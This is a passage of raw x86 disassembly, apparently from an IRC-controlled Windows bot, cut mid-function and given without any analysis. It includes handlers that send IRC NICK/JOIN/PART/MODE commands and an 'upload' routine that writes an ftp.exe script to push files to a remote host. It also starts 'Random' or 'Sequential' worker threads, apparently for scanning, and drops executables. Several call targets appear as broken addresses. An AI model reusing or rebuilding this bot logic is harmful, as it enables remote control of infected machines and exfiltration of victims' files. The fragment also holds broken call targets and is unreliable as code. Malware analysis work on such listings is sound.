[ebp+arg_10] push [ebp+esi+var_84] push [ebp+arg_0] call sub_4174D0 pop ecx push eax push [ebp+esi+var_8C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40E8F7 jmp loc_40858C ; --------------------------------------------------------------------------- loc_407382: ; CODE XREF: sub_403038+1C3Ej ; sub_403038+1C53j push 0Bh call sub_40909B push [ebp+arg_0] mov [ebp+arg_18], eax call sub_4174D0 add eax, [ebp+arg_18] pop ecx pop ecx cmp eax, 1F4h jle loc_40754D push [ebp+arg_18] lea eax, [ebp+var_2E4] push offset unk_439C98 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 20h loc_4073D4: ; CODE XREF: sub_403038+430Cj cmp [ebp+esi+var_7C], ebx jz loc_4034D4 push edi push offset aUpload ; "upload" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40858F mov edi, [ebp+esi+var_7C] push 4 push edi mov [ebp+arg_18], edi call sub_41156C pop ecx test eax, eax pop ecx jnz short loc_407413 push edi push offset unk_439E8C jmp loc_40511A ; --------------------------------------------------------------------------- loc_407413: ; CODE XREF: sub_403038+43CEj call near ptr 26C05FFh nop push eax call sub_417B00 pop ecx call sub_417B10 push 9 cdq pop ecx idiv ecx push edx call sub_417B10 push 63h cdq pop ecx idiv ecx push edx call sub_417B10 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_C84] push edx push eax lea eax, [ebp+var_B80] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4171D0 lea eax, [ebp+var_B80] push offset aAb ; "ab" push eax call sub_417050 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_4034D4 push [ebp+arg_18] mov edi, [ebp+esi+var_8C] push [ebp+arg_10] push [ebp+esi+var_84] push [ebp+arg_0] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_418240 push [ebp+arg_24] call sub_414C60 lea eax, [ebp+var_B80] push eax lea eax, [ebp+var_4E4] push offset aSS_0 ; "-s:%s" push eax call sub_4171D0 add esp, 2Ch lea eax, [ebp+var_4E4] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_1 ; "open" push ebx call dword_4452B4 push edi push [ebp+arg_18] test eax, eax jz short loc_4074EC push offset unk_439EFC jmp short loc_4074F1 ; --------------------------------------------------------------------------- loc_4074EC: ; CODE XREF: sub_403038+44ABj push offset dword_439F24 loc_4074F1: ; CODE XREF: sub_403038+44B2j call sub_4171D0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40751A push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 add esp, 14h loc_40751A: ; CODE XREF: sub_403038+44C4j lea eax, [ebp+var_2E4] push eax call sub_410557 loc_407526: ; CODE XREF: sub_403038+4513j lea eax, [ebp+var_B80] push 4 push eax call sub_41156C add esp, 0Ch test eax, eax jz loc_4034D4 lea eax, [ebp+var_B80] push eax call sub_4181D0 jmp short loc_407526 ; --------------------------------------------------------------------------- loc_40754D: ; CODE XREF: sub_403038+4366j push [ebp+esi+var_8C] call sub_4174D0 push [ebp+arg_0] mov [ebp+var_41C], eax call sub_4174D0 push [ebp+esi+var_84] mov [ebp+var_404], eax call sub_4174D0 add esp, 0Ch cmp eax, 5 mov [ebp+var_418], eax jnb short loc_407590 push 5 pop eax mov [ebp+var_418], eax loc_407590: ; CODE XREF: sub_403038+454Dj push 3Ch pop ecx cmp eax, ecx jbe short loc_40759D mov [ebp+var_418], ecx loc_40759D: ; CODE XREF: sub_403038+455Dj push [ebp+arg_10] call sub_4174D0 mov [ebp+var_414], eax mov eax, 320h cmp [ebp+var_414], eax pop ecx jbe short loc_4075BF mov [ebp+var_414], eax loc_4075BF: ; CODE XREF: sub_403038+457Fj or [ebp+var_400], 0FFFFFFFFh cmp dword_43DE38, ebx mov [ebp+arg_0], ebx jz short loc_407612 mov edi, offset dword_43DE38 loc_4075D6: ; CODE XREF: sub_403038+45BCj push [ebp+esi+var_8C] lea eax, [edi-28h] push eax call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4075F8 inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_4075D6 jmp short loc_407612 ; --------------------------------------------------------------------------- loc_4075F8: ; CODE XREF: sub_403038+45B2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_400], eax shl ecx, 6 mov ecx, dword_43DE38[ecx] mov [ebp+var_41C], ecx loc_407612: ; CODE XREF: sub_403038+4597j ; sub_403038+45BEj cmp [ebp+var_41C], ebx jnz short loc_407621 push offset unk_439CD8 jmp short loc_407679 ; --------------------------------------------------------------------------- loc_407621: ; CODE XREF: sub_403038+45E0j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40765C cmp byte ptr [edi], 23h jz short loc_40765C push edi lea eax, [ebp+var_530] push 10h push eax call sub_4172D0 push 78h push edi call sub_4185C0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_3F0], eax jmp loc_40773E ; --------------------------------------------------------------------------- loc_40765C: ; CODE XREF: sub_403038+45F2j ; sub_403038+45F7j cmp [ebp+var_99B], bl jnz short loc_40768C cmp [ebp+var_99A], bl jnz short loc_40768C cmp [ebp+var_98A], bl jnz short loc_40768C push offset unk_439D0C loc_407679: ; CODE XREF: sub_403038+2FC7j ; sub_403038+348Cj ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 pop ecx pop ecx jmp loc_405129 ; --------------------------------------------------------------------------- loc_40768C: ; CODE XREF: sub_403038+462Aj ; sub_403038+4632j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_4452EC mov al, [ebp+var_99B] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4453D4 push eax lea eax, [ebp+var_530] push eax call sub_417770 add esp, 0Ch cmp [ebp+var_98A], bl jz short loc_407738 xor eax, eax cmp [ebp+var_99B], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_530] push eax call sub_418310 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40772C loc_40770A: ; CODE XREF: sub_403038+46F2j cmp eax, ebx jz short loc_40772C mov byte ptr [eax], 78h lea eax, [ebp+var_530] push 30h push eax call sub_418310 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40770A loc_40772C: ; CODE XREF: sub_403038+46D0j ; sub_403038+46D4j mov [ebp+var_3F0], 1 jmp short loc_40773E ; --------------------------------------------------------------------------- loc_407738: ; CODE XREF: sub_403038+46AAj mov [ebp+var_3F0], ebx loc_40773E: ; CODE XREF: sub_403038+461Fj ; sub_403038+46FEj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_420], eax mov eax, [ebp+var_4] mov [ebp+var_3F8], eax mov eax, [ebp+var_8] mov [ebp+var_3F4], eax mov edi, 80h lea eax, [ebp+var_520] push edi push eax call sub_4172D0 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_40778F loc_40777C: ; CODE XREF: sub_403038+477Aj push esi loc_40777D: ; CODE XREF: sub_403038+4764j lea eax, [ebp+var_4A0] push edi push eax call sub_4172D0 add esp, 0Ch jmp short loc_4077BA ; --------------------------------------------------------------------------- loc_40778F: ; CODE XREF: sub_403038+4742j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40779E cmp byte ptr [eax], 23h jnz short loc_40779E push eax jmp short loc_40777D ; --------------------------------------------------------------------------- loc_40779E: ; CODE XREF: sub_403038+475Cj ; sub_403038+4761j mov esi, offset aRpmxp_0 ; "#RpmXp" push offset dword_4D31A0 push esi call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40777C mov [ebp+var_4A0], bl loc_4077BA: ; CODE XREF: sub_403038+4755j cmp [ebp+var_3F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_4077CC mov eax, offset aSequential_0 ; "Sequential" loc_4077CC: ; CODE XREF: sub_403038+478Dj push [ebp+var_404] lea ecx, [ebp+var_530] push [ebp+var_414] push [ebp+var_418] push [ebp+var_41C] push ecx push eax lea eax, [ebp+var_2E4] push offset unk_439D54 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 0Bh push eax call sub_408E53 add esp, 2Ch mov [ebp+var_410], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_530] push ebx push eax push offset loc_40A0E0 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_410] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40785A loc_407844: ; CODE XREF: sub_403038+4820j cmp [ebp+var_3EC], ebx jnz loc_405129 push 32h nop call near ptr 2690599h jmp short loc_407844 ; --------------------------------------------------------------------------- loc_40785A: ; CODE XREF: sub_403038+480Aj nop call near ptr 26908EFh push eax push offset unk_439DBC jmp loc_40511A ; --------------------------------------------------------------------------- loc_40786B: ; CODE XREF: sub_403038+1C14j ; sub_403038+1C29j push [ebp+esi+var_8C] call sub_402561 push [ebp+arg_0] mov [ebp+var_2FC], eax call sub_4174D0 push [ebp+esi+var_84] mov [ebp+var_30C], eax call sub_4174D0 push [ebp+arg_10] mov [ebp+var_308], eax call sub_4174D0 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_304], eax lea eax, [ebp+var_38C] mov [ebp+var_390], esi push eax call sub_417770 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_2F4], edi push [ebp+var_308] mov [ebp+var_2F0], eax push [ebp+var_30C] push [ebp+var_304] push [ebp+var_2FC] call dword_4453D4 push eax lea eax, [ebp+var_2E4] push offset unk_439C00 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 0Bh push eax call sub_408E53 add esp, 24h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_390] push ebx push eax push offset byte_40A4FD push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_40796A loc_407954: ; CODE XREF: sub_403038+4930j cmp [ebp+var_2EC], ebx jnz loc_407EE8 push 32h call near ptr 2690599h nop jmp short loc_407954 ; --------------------------------------------------------------------------- loc_40796A: ; CODE XREF: sub_403038+491Aj nop call near ptr 26908EFh push eax push offset unk_439C50 jmp loc_407ED9 ; --------------------------------------------------------------------------- loc_40797B: ; CODE XREF: sub_403038+1BDBj ; sub_403038+1BF0j mov edi, [ebp+esi+var_8C] push edi mov [ebp+arg_10], edi call sub_4174D0 imul eax, 234h pop ecx cmp byte_446228[eax], bl jz loc_40858F cmp [ebp+var_C], ebx jz loc_40858F push [ebp+arg_0] call sub_414BE0 mov edx, eax push edi mov edi, edx call sub_414BE0 push [ebp+arg_20] add edi, eax call sub_414BE0 add eax, [ebp+var_C] push [ebp+esi+var_84] lea eax, [eax+edi+2] push eax call sub_417B50 mov esi, eax lea eax, [ebp+var_2E4] push esi push offset dword_439BD4 push eax call sub_4171D0 add esp, 20h cmp esi, ebx jz loc_40858F mov edi, [ebp+arg_10] push edi call sub_4174D0 test eax, eax pop ecx jle loc_40858F push edi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F push ebx lea eax, [ebp+var_2E4] push ebx push eax push [ebp+arg_0] push edi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_401445 push edi call sub_4174D0 imul eax, 234h add esp, 18h cmp byte ptr dword_446010[eax], 73h jnz loc_40858F push esi push edi call sub_4174D0 imul eax, 234h pop ecx add eax, offset byte_446228 push eax push [ebp+arg_0] push offset dword_439BE0 loc_407A76: ; CODE XREF: sub_403038+4B4Ej lea eax, [ebp+var_2E4] push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_401445 loc_407A9B: ; CODE XREF: sub_403038+3A37j add esp, 28h jmp loc_40858F ; --------------------------------------------------------------------------- loc_407AA3: ; CODE XREF: sub_403038+1BB1j ; sub_403038+1BC6j mov edi, [ebp+esi+var_8C] push edi mov [ebp+arg_10], edi call sub_4174D0 imul eax, 234h pop ecx cmp byte_446228[eax], bl jz loc_40858F cmp [ebp+var_C], ebx jz loc_40858F push [ebp+arg_0] call sub_414BE0 mov edx, eax push edi mov edi, edx call sub_414BE0 push [ebp+arg_20] add edi, eax call sub_414BE0 add eax, [ebp+var_C] push [ebp+esi+var_84] lea eax, [eax+edi+2] push eax call sub_417B50 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40858F mov edi, [ebp+arg_10] push edi call sub_4174D0 test eax, eax pop ecx jle loc_40858F push edi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F push ebx push ebx push esi push [ebp+arg_0] push edi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_401445 push edi call sub_4174D0 imul eax, 234h add esp, 18h cmp byte ptr dword_446010[eax], 73h jnz loc_40858F push esi push edi call sub_4174D0 imul eax, 234h pop ecx add eax, offset byte_446228 push eax push [ebp+arg_0] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_407A76 ; --------------------------------------------------------------------------- loc_407B8B: ; CODE XREF: sub_403038+1B87j ; sub_403038+1B9Cj push [ebp+esi+var_8C] call dword_445388 push [ebp+arg_0] mov [ebp+var_2FC], eax call sub_4174D0 push [ebp+esi+var_84] mov [ebp+var_30C], eax call sub_4174D0 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_304], eax lea eax, [ebp+var_38C] mov [ebp+var_390], esi push eax call sub_417770 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_2F4], edi push [ebp+var_304] mov [ebp+var_2F0], eax push [ebp+var_30C] push [ebp+var_2FC] call dword_4453D4 push eax lea eax, [ebp+var_2E4] push offset unk_439B2C push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 0Bh push eax call sub_408E53 add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_390] push ebx push eax push offset dword_40A40C push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_407C77 loc_407C61: ; CODE XREF: sub_403038+4C3Dj cmp [ebp+var_2EC], ebx jnz loc_407EE8 push 32h nop call near ptr 2690599h jmp short loc_407C61 ; --------------------------------------------------------------------------- loc_407C77: ; CODE XREF: sub_403038+4C27j call near ptr 26908EFh nop push eax push offset unk_439B68 jmp loc_407ED9 ; --------------------------------------------------------------------------- loc_407C88: ; CODE XREF: sub_403038+1B5Dj ; sub_403038+1B72j push [ebp+esi+var_8C] call sub_4174D0 push 7Fh mov [ebp+var_400], eax push [ebp+arg_0] lea eax, [ebp+var_504] push eax call sub_417770 push [ebp+esi+var_84] call sub_4174D0 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_404], eax lea eax, [ebp+var_484] push 80h push eax mov [ebp+var_50C], esi call sub_4172D0 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_3F0], eax push [ebp+var_404] lea eax, [ebp+var_504] mov [ebp+var_3F4], edi push eax push [ebp+var_400] push esi call sub_40267D pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_439AA0 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 18h push eax call sub_408E53 add esp, 24h mov [ebp+var_3FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset loc_40EBC3 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_3FC] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_407D7B loc_407D65: ; CODE XREF: sub_403038+4D41j cmp [ebp+var_3EC], ebx jnz loc_407EE8 push 32h nop call near ptr 2690599h jmp short loc_407D65 ; --------------------------------------------------------------------------- loc_407D7B: ; CODE XREF: sub_403038+4D2Bj nop call near ptr 26908EFh push eax push offset unk_439ADC jmp loc_407ED9 ; --------------------------------------------------------------------------- loc_407D8C: ; CODE XREF: sub_403038+1B33j ; sub_403038+1B48j mov eax, [ebp+esi+var_8C] mov edi, 0FFh push edi mov [ebp+arg_10], eax push eax lea eax, [ebp+var_770] push eax call sub_417770 push edi lea eax, [ebp+var_670] push [ebp+arg_0] push eax call sub_417770 mov eax, [ebp+esi+var_84] add esp, 18h cmp eax, ebx mov [ebp+var_56C], ebx jz short loc_407DDC push eax call sub_4174D0 pop ecx mov [ebp+var_568], eax jmp short loc_407DE2 ; --------------------------------------------------------------------------- loc_407DDC: ; CODE XREF: sub_403038+4D93j mov [ebp+var_568], ebx loc_407DE2: ; CODE XREF: sub_403038+4DA2j mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_407DFE push 10h push ebx push eax call sub_4181B0 add esp, 0Ch mov [ebp+var_560], eax jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DFE: ; CODE XREF: sub_403038+4DB0j mov [ebp+var_560], ebx loc_407E04: ; CODE XREF: sub_403038+4DC4j mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407E1B push esi call sub_4174D0 pop ecx mov [ebp+var_564], eax jmp short loc_407E21 ; --------------------------------------------------------------------------- loc_407E1B: ; CODE XREF: sub_403038+4DD2j mov [ebp+var_564], ebx loc_407E21: ; CODE XREF: sub_403038+4DE1j movzx eax, [ebp+var_997] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_55C], eax lea eax, [ebp+var_7F0] mov [ebp+var_7F4], esi push eax call sub_417770 push [ebp+arg_0] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov [ebp+var_558], eax push [ebp+arg_10] lea eax, [ebp+var_2E4] mov [ebp+var_554], edi push offset unk_439A24 push eax call sub_4171D0 push esi lea eax, [ebp+var_2E4] push 1Dh push eax call sub_408E53 add esp, 28h mov [ebp+var_570], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F4] push ebx push eax push offset loc_41105D push ebx push ebx call near ptr 26A08FFh nop mov ecx, [ebp+var_570] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_407ECD loc_407EBB: ; CODE XREF: sub_403038+4E93j cmp [ebp+var_550], ebx jnz short loc_407EE8 push 32h call near ptr 2690599h nop jmp short loc_407EBB ; --------------------------------------------------------------------------- loc_407ECD: ; CODE XREF: sub_403038+4E81j call near ptr 26908EFh nop push eax push offset unk_439A50 loc_407ED9: ; CODE XREF: sub_403038+3739j ; sub_403038+3871j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch loc_407EE8: ; CODE XREF: sub_403038+371Dj ; sub_403038+3855j ... cmp [ebp+var_8], ebx jnz loc_40514A push ebx lea eax, [ebp+var_2E4] push edi push eax push [ebp+var_88] push esi jmp loc_405142 ; --------------------------------------------------------------------------- loc_407F06: ; CODE XREF: sub_403038+1B09j ; sub_403038+1B1Ej push 44h lea eax, [ebp+var_328] pop edi push edi push ebx push eax call sub_417070 push 1 mov [ebp+var_328], edi pop edi mov word ptr [ebp+var_2F8], bx push [ebp+esi+var_8C] mov [ebp+var_2FC], edi call sub_4174D0 add esp, 10h cmp eax, edi jnz short loc_407F49 mov word ptr [ebp+var_2F8], 5 loc_407F49: ; CODE XREF: sub_403038+4F06j cmp [ebp+var_C], ebx jz loc_404E0F push [ebp+arg_0] push [ebp+var_C] call sub_417B50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_404E0F lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_328] push eax push ebx push ebx push 28h push edi push ebx push ebx push esi push ebx call near ptr 267039Fh nop test eax, eax jnz short loc_407F94 push offset unk_4399D4 jmp loc_405AEA ; --------------------------------------------------------------------------- loc_407F94: ; CODE XREF: sub_403038+4F50j push esi push offset dword_4399F8 jmp loc_404E00 ; --------------------------------------------------------------------------- loc_407F9F: ; CODE XREF: sub_403038+1ADFj ; sub_403038+1AF4j push [ebp+arg_0] push offset aMqbol ; "mqbol" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408117 lea eax, [ebp+var_4E8] push eax push 104h nop call near ptr 26D0000h mov edi, [ebp+esi+var_8C] push 0FFh lea eax, [ebp+var_770] push edi push eax call sub_417770 lea eax, [ebp+var_E4] push eax call sub_408832 push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_670] push offset aSS_exe ; "%s%s.exe" push eax call sub_4171D0 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_56C], 1 mov [ebp+var_568], ebx jz short loc_408038 push 10h push ebx push eax call sub_4181B0 add esp, 0Ch mov [ebp+var_560], eax jmp short loc_40803E ; --------------------------------------------------------------------------- loc_408038: ; CODE XREF: sub_403038+4FEAj mov [ebp+var_560], ebx loc_40803E: ; CODE XREF: sub_403038+4FFEj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408055 push esi call sub_4174D0 pop ecx mov [ebp+var_564], eax jmp short loc_40805B ; --------------------------------------------------------------------------- loc_408055: ; CODE XREF: sub_403038+500Cj mov [ebp+var_564], ebx loc_40805B: ; CODE XREF: sub_403038+501Bj movzx eax, [ebp+var_997] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_55C], eax lea eax, [ebp+var_7F0] mov [ebp+var_7F4], esi push eax call sub_417770 mov eax, [ebp+var_4] push edi mov [ebp+var_554], eax mov eax, [ebp+var_8] mov [ebp+var_558], eax lea eax, [ebp+var_2E4] push offset dword_439918 push eax call sub_4171D0 push esi lea eax, [ebp+var_2E4] push 1Eh push eax call sub_408E53 add esp, 24h mov [ebp+var_570], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F4] push ebx push eax push offset loc_41105D push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_570] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_408106 loc_4080F0: ; CODE XREF: sub_403038+50CCj cmp [ebp+var_550], ebx jnz loc_404E0F push 32h nop call near ptr 2690599h jmp short loc_4080F0 ; --------------------------------------------------------------------------- loc_408106: ; CODE XREF: sub_403038+50B6j nop call near ptr 26908EFh push eax push offset dword_439944 jmp loc_404E00 ; --------------------------------------------------------------------------- loc_408117: ; CODE XREF: sub_403038+4F78j push offset dword_439980 jmp loc_405AEA ; --------------------------------------------------------------------------- loc_408121: ; CODE XREF: sub_403038+1AB5j ; sub_403038+1ACAj push [ebp+arg_0] lea eax, [ebp+var_2E4] push offset aPartS_0 ; "PART %s" push eax call sub_4171D0 mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 add esp, 10h test eax, eax jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F lea eax, [ebp+var_2E4] push eax push offset aS_14 ; "%s\r\n" loc_40816B: ; CODE XREF: sub_403038+2EE0j ; sub_403038+51A4j push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_4013FF loc_408183: ; CODE XREF: sub_403038+3F21j ; sub_403038+3F37j ... add esp, 0Ch jmp loc_40858F ; --------------------------------------------------------------------------- loc_40818B: ; CODE XREF: sub_403038+1A8Bj ; sub_403038+1AA0j push [ebp+esi+var_84] lea eax, [ebp+var_2E4] push [ebp+arg_0] push offset aJoinSS_2 ; "JOIN %s %s" push eax call sub_4171D0 mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 add esp, 14h test eax, eax jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F lea eax, [ebp+var_2E4] push eax push offset aS_15 ; "%s\r\n" jmp short loc_40816B ; --------------------------------------------------------------------------- loc_4081DE: ; CODE XREF: sub_403038+1A61j ; sub_403038+1A76j push [ebp+arg_0] lea eax, [ebp+var_2E4] push offset aNickS_1 ; "NICK %s" push eax call sub_4171D0 mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 add esp, 10h test eax, eax jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F lea eax, [ebp+var_2E4] push eax push offset aS_16 ; "%s\r\n" push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_4013FF push [ebp+arg_0] push esi push offset dword_43989C loc_408249: ; CODE XREF: sub_403038+2C13j ; sub_403038+30DFj ... call sub_4105CB loc_40824E: ; CODE XREF: sub_403038+3BF3j add esp, 18h jmp loc_40858F ; --------------------------------------------------------------------------- loc_408256: ; CODE XREF: sub_403038+1A37j ; sub_403038+1A4Cj cmp [ebp+var_C], ebx jz loc_40858F push [ebp+arg_0] push [ebp+var_C] call sub_417B50 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_408287 push edi lea eax, [ebp+var_2E4] push offset aModeS ; "MODE %s" push eax call sub_4171D0 add esp, 0Ch loc_408287: ; CODE XREF: sub_403038+5238j mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 test eax, eax pop ecx jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F lea eax, [ebp+var_2E4] push eax push offset aS_17 ; "%s\r\n" push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_4013FF push edi push esi push offset dword_439864 jmp loc_408249 ; --------------------------------------------------------------------------- loc_4082DF: ; CODE XREF: sub_403038+1A0Dj ; sub_403038+1A22j cmp [ebp+var_C], ebx jz loc_40858F push [ebp+arg_0] push [ebp+var_C] call sub_417B50 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40858F mov esi, [ebp+esi+var_8C] push esi call sub_4174D0 test eax, eax pop ecx jle loc_40858F push esi call sub_4174D0 cmp eax, 400h pop ecx jge loc_40858F push edi push offset aS_18 ; "%s\r\n" push esi call sub_4174D0 imul eax, 234h pop ecx push dword_44621C[eax] call sub_4013FF push edi push esi push offset dword_43982C jmp loc_408249 ; --------------------------------------------------------------------------- loc_408351: ; CODE XREF: sub_403038+19E3j ; sub_403038+19F8j cmp [ebp+var_C], ebx jz loc_40858F push [ebp+esi+var_8C] push [ebp+var_C] call sub_417B50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40858F push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_4013FF push esi push offset unk_4397FC loc_408389: ; CODE XREF: sub_403038+3098j ; sub_403038+30B8j ... call sub_4105CB loc_40838E: ; CODE XREF: sub_403038+53C5j add esp, 14h jmp loc_40858F ; --------------------------------------------------------------------------- loc_408396: ; CODE XREF: sub_403038+19B9j ; sub_403038+19CEj push [ebp+var_8C] push offset a332_0 ; "332" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4034D4 push [ebp+arg_0] push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] call sub_4013FF push [ebp+esi+var_8C] call sub_4174D0 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2690599h push [ebp+esi+var_84] push [ebp+arg_0] push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4013FF push offset dword_4397D0 call sub_410557 jmp short loc_40838E ; --------------------------------------------------------------------------- loc_4083FF: ; CODE XREF: sub_403038+198Fj ; sub_403038+19A4j cmp [ebp+var_C], ebx jz loc_40858F mov esi, [ebp+esi+var_8C] push esi call sub_414BE0 mov edx, eax push edi mov [ebp+arg_18], edx call sub_414BE0 add eax, [ebp+var_C] mov ecx, [ebp+arg_18] push [ebp+arg_0] lea eax, [eax+ecx+2] push eax call sub_417B50 mov edi, eax add esp, 10h cmp edi, ebx jz loc_40858F push edi lea eax, [ebp+var_2E4] push offset dword_43977C push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push ebx push eax push esi push [ebp+arg_4] call sub_401445 push edi push esi push offset unk_439788 call sub_4105CB add esp, 2Ch jmp loc_40858F ; --------------------------------------------------------------------------- loc_408478: ; CODE XREF: sub_403038+1965j ; sub_403038+197Aj cmp [ebp+var_C], ebx jz loc_40858F mov esi, [ebp+esi+var_8C] push esi call sub_414BE0 mov edx, eax push edi mov [ebp+arg_18], edx call sub_414BE0 add eax, [ebp+var_C] mov ecx, [ebp+arg_18] push [ebp+arg_0] lea eax, [eax+ecx+2] push eax call sub_417B50 mov edi, eax add esp, 10h cmp edi, ebx jz loc_40858F push ebx push ebx push edi push esi push [ebp+arg_4] call sub_401445 push edi push esi push offset unk_439750 call sub_4105CB add esp, 20h jmp loc_40858F ; --------------------------------------------------------------------------- loc_4084D9: ; CODE XREF: sub_403038+193Bj ; sub_403038+1950j cmp [ebp+var_C], ebx jz loc_4034D4 push [ebp+arg_0] push [ebp+var_C] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz loc_4034D4 mov esi, [ebp+esi+var_8C] push eax push esi call sub_41045F push esi lea eax, [ebp+var_2E4] push offset unk_439724 push eax call sub_4171D0 add esp, 14h jmp loc_405129 ; --------------------------------------------------------------------------- loc_40851F: ; CODE XREF: sub_403038+1911j ; sub_403038+1926j push [ebp+arg_0] push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41212B loc_40853A: ; CODE XREF: sub_403038+3A68j add esp, 14h jmp loc_4034D4 ; --------------------------------------------------------------------------- loc_408542: ; CODE XREF: sub_403038+E9Cj ; sub_403038+EB1j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_98C], bl 